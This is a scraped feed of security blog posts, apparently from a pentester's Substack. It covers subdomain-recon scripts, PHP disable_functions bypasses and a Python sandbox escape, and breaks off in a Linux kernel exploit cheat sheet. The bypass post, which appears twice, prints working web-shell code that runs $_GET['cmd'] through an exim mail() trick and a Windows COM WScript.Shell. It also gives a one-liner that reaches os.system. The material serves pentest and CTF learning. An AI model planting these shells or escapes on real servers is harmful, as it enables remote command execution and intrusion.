-o "gather-online.txt" -rL resolvers.txt &gt; /dev/null 2&gt;&amp;1</code></pre><p>resolvers.txt is file with resolvers.</p><ul><li><p>After finish gather internet, we will unify them.</p></li></ul><pre><code>cat result-online.txt gather-online.txt &gt; subdomains.txt</code></pre><pre><code>sort -u "subdomains.txt" -o "subdomains.txt"</code></pre><ul><li><p>Altdns change the subdomains with a list of given words.</p></li><li><p>Using technique, we can discover subdomains others wouldn&#8217;t have found.</p></li></ul><pre><code>./altdns.py -i "subdomains.txt"  -o "altdns-word.txt" -w words.txt</code></pre><ul><li><p>After have list of all existing subdomains genarate, we will recursion them. Eg: demo.staging.dev.xnxx.com</p></li><li><p>You can repeat bruteforcing before and thinking.</p></li></ul><p>Final, we can remember example:</p><p>+ There might be a wildcard for subdomains, so there may be many false positive cases =&gt; Can insert a code snippet to detect wildcards.</p><pre><code>if [[ "$(dig @1.1.1.1 A,CNAME {testxnxx123,testingforwildcard,xnxxxthinking}.$domain +short | wc -l)" -gt "1" ]]; then
    echo "* Possible wildcard. You can checking"
fi</code></pre><p>+ Giving your own resolvers list to your tools, them can might increase the speed.<br>&nbsp;+ Clean your -online.txt files if output to big file.<br>&nbsp;+ Can using&#8202;&#8212;&#8202;verbose option for massdns<br>&nbsp;+ <a href="https://opendata.rapid7.com/sonar.fdns_v2/">https://opendata.rapid7.com/sonar.fdns_v2/</a></p><p><strong>Good luck. To be continue!</strong></p>]]></content:encoded></item><item><title><![CDATA[Advanced Recon Automation (Subdomains) case 1]]></title><description><![CDATA[The advanced in simple Recon!]]></description><link>https://www.anhtai.me/p/advanced-recon-automation-subdomains-case-1-ba162fa081ba</link><guid isPermaLink="false">https://www.anhtai.me/p/advanced-recon-automation-subdomains-case-1-ba162fa081ba</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Sun, 24 Feb 2019 22:03:25 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/0b1f6c11-d3fa-4770-ab6f-4b1de734ceaf_800x468.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!owfN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!owfN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!owfN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!owfN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!owfN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!owfN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!owfN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!owfN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!owfN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!owfN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad49f5e3-86b9-45d8-985c-df61d330ab2c_800x468.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>The advanced in simple Recon!</p><p>For bug hunter, pentester, OSINTer, hacker =))))</p><p>Why we not create the auto with reconnaissance in a complex world. If really use full/right, we will save many time!</p><p>Eg: Like CORS scan etc.</p><p>You can also get some nice vulnerabilities for which you have done nothing! WTF =)))</p><p>We have to automate everything we can, not to miss it. I give a simple idea like workflow below to sequence problems.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6j04!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6j04!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!6j04!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!6j04!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!6j04!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6j04!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6j04!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!6j04!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!6j04!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!6j04!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ec4644b-b8f5-4bc1-b6e5-c3dca06dd40e_800x468.png 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><p><strong>1. Go to subdomain gathering</strong></p><p>- Tools using:</p><p>+ <a href="https://github.com/blechschmidt/massdns">Massdns</a></p><p>+ <a href="https://github.com/infosec-au/altdns">Altdns</a></p><p>+ <a href="https://github.com/subfinder/subfinder">Subfinder</a></p><p>We will using custom wordlist subdomain, write script for task.</p><ul><li><p>Bruceforce subdomain with <strong>massdns</strong> + wordlist subdomain</p></li><li><p>After, run <strong>subfinder</strong> to get subdomains from many internet sources.</p></li><li><p>after a moments, run altdns to get some change versions of the subdomains.</p></li><li><p>Final, we can recursion to get levels deep for task get subdomains.</p></li></ul><p>One more:</p><p>- Using massdns resolve list of subdomain generate.</p><pre><code>#!/usr/bin/env bash

while getopts ":d:" opt; do
  case $opt in
    d)
      domain=$OPTARG
      ;;
  esac
done

if [[ -z "${domain// }" ]];
then
    echo "* Error fucking. Use -d example.com"
    echo "* Exit!"
    exit 1
fi</code></pre><pre><code>while read -r line
do
    echo "$line.$2" &gt;&gt; $3
done &lt; $1</code></pre><ul><li><p>Arguments:</p></li></ul><p>+ Subdomain wordlist</p><p>+ Domain for generate subdomains</p><p>+ Output file</p><p>Subdomains wordlist:</p><p>+ <a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></p><p>+ <a href="https://github.com/Tim1512/subdomain_scanner/tree/master/wordlist">https://github.com/Tim1512/subdomain_scanner/tree/master/wordlist</a></p><p>+ <a href="https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056">https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056</a></p><p>+ <a href="https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt">https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt</a></p><p>+ <a href="https://github.com/pentester-io/commonspeak/blob/master/stackoverflow/output/compiled/stackoverflow_2017_10_22.urls_subdomains.txt">https://github.com/pentester-io/commonspeak/blob/master/stackoverflow/output/compiled/stackoverflow_2017_10_22.urls_subdomains.txt</a></p><p>+ <a href="https://github.com/rbsec/dnscan">https://github.com/rbsec/dnscan</a></p><p>Example shell:</p><pre><code>bash subdomains.sh subdomains-wordlist.txt $domain "wordlist.txt"</code></pre><p>Resolve to online:</p><pre><code>massdns -r resolvers.txt -q -t A -o S -w "result-online.txt" "wordlist.txt"</code></pre><p>Filter subdomain output, eliminate miscellaneous things.</p><pre><code>awk -F ". " '{print $1}' "result-online.txt" &gt; "result-filtered.txt" &amp;&amp; mv "wordlist-filtered.txt" "result-online.txt"</code></pre><p>- Gather subdomains from many internet sources. Using <strong>Subfinder</strong></p><pre><code>subfinder -d $domain -nW -o "gather-online.txt" -rL resolvers.txt &gt; /dev/null 2&gt;&amp;1</code></pre><p>resolvers.txt is file with resolvers.</p><ul><li><p>After finish gather internet, we will unify them.</p></li></ul><pre><code>cat result-online.txt gather-online.txt &gt; subdomains.txt</code></pre><pre><code>sort -u "subdomains.txt" -o "subdomains.txt"</code></pre><ul><li><p>Altdns change the subdomains with a list of given words.</p></li><li><p>Using technique, we can discover subdomains others wouldn&#8217;t have found.</p></li></ul><pre><code>./altdns.py -i "subdomains.txt"  -o "altdns-word.txt" -w words.txt</code></pre><ul><li><p>After have list of all existing subdomains genarate, we will recursion them. Eg: demo.staging.dev.xnxx.com</p></li><li><p>You can repeat bruteforcing before and thinking.</p></li></ul><p>Final, we can remember example:</p><p>+ There might be a wildcard for subdomains, so there may be many false positive cases =&gt; Can insert a code snippet to detect wildcards.</p><pre><code>if [[ "$(dig @1.1.1.1 A,CNAME {testxnxx123,testingforwildcard,xnxxxthinking}.$domain +short | wc -l)" -gt "1" ]]; then
    echo "* Possible wildcard. You can checking"
fi</code></pre><p>+ Giving your own resolvers list to your tools, them can might increase the speed.<br>&nbsp;+ Clean your -online.txt files if output to big file.<br>&nbsp;+ Can using&#8202;&#8212;&#8202;verbose option for massdns<br>&nbsp;+ <a href="https://opendata.rapid7.com/sonar.fdns_v2/">https://opendata.rapid7.com/sonar.fdns_v2/</a></p><p><strong>Good luck. To be continue!</strong></p>]]></content:encoded></item><item><title><![CDATA[Some simple bypass tricks]]></title><description><![CDATA[Bypass Disable Functions]]></description><link>https://www.anhtai.me/p/some-simple-bypass-tricks-8f02455b098d</link><guid isPermaLink="false">https://www.anhtai.me/p/some-simple-bypass-tricks-8f02455b098d</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Mon, 18 Feb 2019 13:09:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hV51!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5fd6d6c-dc83-45c8-8e93-9c97dc63b229_640x640.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Bypass Disable Functions</h3><h3>Configuration</h3><pre><code>disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system</code></pre><h3>Linux</h3><ul><li><p>sendmail -&gt; exim bypass</p></li></ul><pre><code>&lt;?php
$command_file = "/tmp/xxxx";
$output_file = "/tmp/xxxx";
$cmd = $argv[1] ? $argv[1] : $_GET['cmd'];
$cmd = "$cmd &gt; $output_file";</code></pre><pre><code>file_put_contents($command_file, $cmd);
mail("root@localhost", "xnxx", "jav", null,
     '-xnxxjav@jav(tmp1 -be ${run{/bin/sh${substr{10}{1}{$tod_log}}'.$command_file.'}} tmp2)');
echo file_get_contents($output_file);
unlink($output_file);
unlink($command_file);</code></pre><ul><li><p>LD_PRELOAD bypass</p></li></ul><p>tools&nbsp;: <a href="https://github.com/TarlogicSecurity/Chankro">Chankro</a></p><h3>Windows</h3><ul><li><p>use <code>COM</code> to bypass</p></li></ul><pre><code>&lt;?php
$runCommand = "C:\\WINDOWS\\system32\\cmd.exe /c {$_GET['cmd']}"; //Wrong by purpuse to get some good output
$WshShell = new COM("WScript.Shell");
$output = $WshShell-&gt;Exec($runCommand)-&gt;StdOut-&gt;ReadAll;
echo "&lt;p&gt;$output&lt;/p&gt;";
?&gt;</code></pre><h3>Ref</h3><ul><li><p><a href="https://ricterz.me/posts/Yet%20Another%20PHP%20disable_functions%20Bypass">Yet Another PHP disable_functions Bypass</a></p></li><li><p><a href="https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/">how to bypass disable functions and open basedir</a></p></li></ul><h3>Bypass Python&nbsp;Sandbox</h3><h3>Python</h3><p><code>__builtins__</code>Is a reference to the following modules:</p><pre><code>python2: __builtin__
python3: builtins</code></pre><h3>Tactic</h3><p>1. Use the following code to access some modules:</p><pre><code>[].__class__.__base__.__subclasses__()</code></pre><p>2. Use the following code to access the module imported by a module:</p><pre><code>module.__init__.__globals__</code></pre><p>3. Some of the modules accessed at the first point are imported <code>os</code>or <code>sys</code>modules:</p><pre><code>python2:
&lt;class 'site._Printer'&gt;
&lt;class 'site.Quitter'&gt;
&lt;class warnings.catch_warnings&gt;
&lt;class 'warnings.WarningMessage'&gt;</code></pre><pre><code>python3:
&lt;class '_sitebuiltins.Quitter'&gt;
&lt;class '_sitebuiltins._Printer'&gt;</code></pre><p>Then use the second point to access the os module.</p><p>4. Some poses can look at abusing and n poses in ref</p><h4>some interesting stdandard modules</h4><pre><code>- https://docs.python.org/2/library/types.html 
types.FileType Read files
- https://docs.python.org/2/library/timeit.html 
timeit.timeit execute code
- https://docs.python.org/2/library/inspect.html
You can guess the code structure, like: inspect.getmembers
- https://docs.python.org/2/library/pickle.html 
pickle.loads execute command
- https://docs.python.org/2/library/os.html 
os.popen Execute commands
- https://docs.python.org/2/library/commands.html commands.getstatusoutput Execute commands
- https://docs.python.org/2/library/subprocess.html 
subprocess.popen Execute the command
- https://docs.python.org/2/library/io.html 
io.open Reading files
- https://docs.python.org/2/library/platform.html 
platform.popen command execution</code></pre><h4>final</h4><p>Chestnut:</p><pre><code>python3:
[w for w in 1..__class__.__base__.__subclasses__() if w.__name__=='Quitter'][0].__init__.__globals__['sy'+'s'].modules['o'+'s'].__dict__['sy'+'stem']('ls')</code></pre><h3>Reference</h3><ul><li><p><a href="http://pbiernat.blogspot.hk/2014/09/bypassing-python-sandbox-by-abusing.html">bypassing-python-sandbox-by-abusing</a></p></li><li><p><a href="https://joychou.org/web/python-sandbox-bypass.html">python-sandbox-bypass</a></p></li><li><p><a href="http://www.g5amy.xyz/my_blog/python/python-sandbox/">python-sandbox</a></p></li><li><p><a href="https://mp.weixin.qq.com/s/PLI-yjqmA3gwk5w3KHzOyA">n poses for Python sandbox escape</a></p></li><li><p><a href="http://www.0aa.me/index.php/archives/125/">Python can be used in the standard library of bypass Sandbox</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Some simple bypass tricks]]></title><description><![CDATA[Bypass Disable Functions]]></description><link>https://www.anhtai.me/p/some-simple-bypass-tricks-7edaee0a574c</link><guid isPermaLink="false">https://www.anhtai.me/p/some-simple-bypass-tricks-7edaee0a574c</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Mon, 18 Feb 2019 12:43:36 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hV51!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5fd6d6c-dc83-45c8-8e93-9c97dc63b229_640x640.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Bypass Disable Functions</h3><h3>Configuration</h3><pre><code>disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system</code></pre><h3>Linux</h3><ul><li><p>sendmail -&gt; exim bypass</p></li></ul><pre><code>&lt;?php
$command_file = "/tmp/xxxx";
$output_file = "/tmp/xxxx";
$cmd = $argv[1] ? $argv[1] : $_GET['cmd'];
$cmd = "$cmd &gt; $output_file";</code></pre><pre><code>file_put_contents($command_file, $cmd);
mail("root@localhost", "xnxx", "jav", null,
     '-xnxxjav@jav(tmp1 -be ${run{/bin/sh${substr{10}{1}{$tod_log}}'.$command_file.'}} tmp2)');
echo file_get_contents($output_file);
unlink($output_file);
unlink($command_file);</code></pre><ul><li><p>LD_PRELOAD bypass</p></li></ul><p>tools&nbsp;: <a href="https://github.com/TarlogicSecurity/Chankro">Chankro</a></p><h3>Windows</h3><ul><li><p>use <code>COM</code> to bypass</p></li></ul><pre><code>&lt;?php
$runCommand = "C:\\WINDOWS\\system32\\cmd.exe /c {$_GET['cmd']}"; //Wrong by purpuse to get some good output
$WshShell = new COM("WScript.Shell");
$output = $WshShell-&gt;Exec($runCommand)-&gt;StdOut-&gt;ReadAll;
echo "&lt;p&gt;$output&lt;/p&gt;";
?&gt;</code></pre><h3>Ref</h3><ul><li><p><a href="https://ricterz.me/posts/Yet%20Another%20PHP%20disable_functions%20Bypass">Yet Another PHP disable_functions Bypass</a></p></li><li><p><a href="https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/">how to bypass disable functions and open basedir</a></p></li></ul><h3>Bypass Python&nbsp;Sandbox</h3><h3>Python</h3><p><code>__builtins__</code>Is a reference to the following modules:</p><pre><code>python2: __builtin__
python3: builtins</code></pre><h3>Tactic</h3><p>1. Use the following code to access some modules:</p><pre><code>[].__class__.__base__.__subclasses__()</code></pre><p>2. Use the following code to access the module imported by a module:</p><pre><code>module.__init__.__globals__</code></pre><p>3. Some of the modules accessed at the first point are imported <code>os</code>or <code>sys</code>modules:</p><pre><code>python2:
&lt;class 'site._Printer'&gt;
&lt;class 'site.Quitter'&gt;
&lt;class warnings.catch_warnings&gt;
&lt;class 'warnings.WarningMessage'&gt;

python3:
&lt;class '_sitebuiltins.Quitter'&gt;
&lt;class '_sitebuiltins._Printer'&gt;</code></pre><p>Then use the second point to access the os module.</p><p>4. Some poses can look at abusing and n poses in ref</p><h4>some interesting stdandard modules</h4><pre><code>- https://docs.python.org/2/library/types.html 
types.FileType Read files
- https://docs.python.org/2/library/timeit.html 
timeit.timeit execute code
- https://docs.python.org/2/library/inspect.html
You can guess the code structure, like: inspect.getmembers
- https://docs.python.org/2/library/pickle.html 
pickle.loads execute command
- https://docs.python.org/2/library/os.html 
os.popen Execute commands
- https://docs.python.org/2/library/commands.html commands.getstatusoutput Execute commands
- https://docs.python.org/2/library/subprocess.html 
subprocess.popen Execute the command
- https://docs.python.org/2/library/io.html 
io.open Reading files
- https://docs.python.org/2/library/platform.html 
platform.popen command execution</code></pre><h4>final</h4><p>Chestnut:</p><pre><code>python3:
[w for w in 1..__class__.__base__.__subclasses__() if w.__name__=='Quitter'][0].__init__.__globals__['sy'+'s'].modules['o'+'s'].__dict__['sy'+'stem']('ls')</code></pre><h3>Reference</h3><ul><li><p><a href="http://pbiernat.blogspot.hk/2014/09/bypassing-python-sandbox-by-abusing.html">bypassing-python-sandbox-by-abusing</a></p></li><li><p><a href="https://joychou.org/web/python-sandbox-bypass.html">python-sandbox-bypass</a></p></li><li><p><a href="http://www.g5amy.xyz/my_blog/python/python-sandbox/">python-sandbox</a></p></li><li><p><a href="https://mp.weixin.qq.com/s/PLI-yjqmA3gwk5w3KHzOyA">n poses for Python sandbox escape</a></p></li><li><p><a href="http://www.0aa.me/index.php/archives/125/">Python can be used in the standard library of bypass Sandbox</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Linux kernel exploit cheetsheet]]></title><description><![CDATA[Drive programming]]></description><link>https://www.anhtai.me/p/linux-kernel-exploit-cheetsheet-76be6ca17007</link><guid isPermaLink="false">https://www.anhtai.me/p/linux-kernel-exploit-cheetsheet-76be6ca17007</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Tue, 12 Feb 2019 17:19:23 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/063529b2-c288-4910-8870-d0f572eecc15_800x84.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Drive programming</h3><p>Books: <a href="https://bootlin.com/doc/books/ldd3.pdf">linux device driver</a></p><p><a href="https://sysplay.github.io/books/LinuxDrivers/book/Content/Part04.html">https://sysplay.github.io/books/LinuxDrivers/</a></p><p>Dynamically assigning device numbers</p><pre><code>int alloc_chrdev_region(dev_t *dev, unsigned int firstminor, unsigned int count, char *name);</code></pre><p>Dev is the outgoing parameter, which is the dynamically obtained device number.</p><p>Firstminor specifies the first minor.</p><p>Count and name are the same as the register_chrdev_region parameter definition.</p><p><a href="https://www.oreilly.com/library/view/linux-device-drivers/0596000081/ch03s02.html">https://www.oreilly.com/library/view/linux-device-drivers/0596000081/ch03s02.html</a></p><p>h<a href="https://github.com/verctor/MyNotes/blob/master/linux">ttp://nanxiao.me/linux-kernel-note-20-device-major-minor-number</a></p><p><a href="https://sysplay.github.io/books/LinuxDrivers/book/Content/Part04.html">https://sysplay.github.io/books/LinuxDrivers</a></p><p><a href="https://www.kernel.org/doc/Documentation/admin-guide/devices.txt">https://www.kernel.org/doc/Documentation/admin-guide/devices.txt</a></p><p>Statically initialize character devices:</p><pre><code>struct cdev my_cdev;</code></pre><pre><code>cdev_init(&amp;my_cdev, &amp;fops);</code></pre><pre><code>my_cdev.owner = THIS_MODULE;</code></pre><p><a href="http://blog.csdn.net/tigerjibo/article/details/6412613">Linux character device driver cdev_init() series</a></p><p>Class related api</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pCV-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pCV-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 424w, https://substackcdn.com/image/fetch/$s_!pCV-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 848w, https://substackcdn.com/image/fetch/$s_!pCV-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!pCV-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pCV-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pCV-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 424w, https://substackcdn.com/image/fetch/$s_!pCV-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 848w, https://substackcdn.com/image/fetch/$s_!pCV-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!pCV-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4917e245-cdc5-4265-a5a1-bad8721a63d8_800x84.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><a href="http://www.cnblogs.com/skywang12345/archive/2013/05/15/driver_class.html">class_create,class_register</a></p><h3>Extract the rootfs in cpio&nbsp;format</h3><p>Rootfs.cpio is packaged first cpio and then gzipped</p><p>Decompression must first change rootfs.cpio to gz suffix and then decompress, otherwise it will report an error.</p><h3>exploit tech &amp;&nbsp;tricks</h3><h4>tty_struct spray</h4><p><code>man 4 ptmx</code></p><p>Can understand:</p><pre><code>When a process opens /dev/ptmx, it gets a file descriptor for a pseudoterminal master (PTM), and a pseudoterminal slave (PTS) device is created in the /dev/pts directory. Each file descriptor obtained by opening /dev/ptmx is an independent PTM with its own associated PTS, whose path can be found by passing the descriptor to ptsname(3).</code></pre><p>That is to create a new one <code>tty_struct</code>, and this structure <a href="http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/tty.h#L259">tty_struct</a> has a field <code>const struct 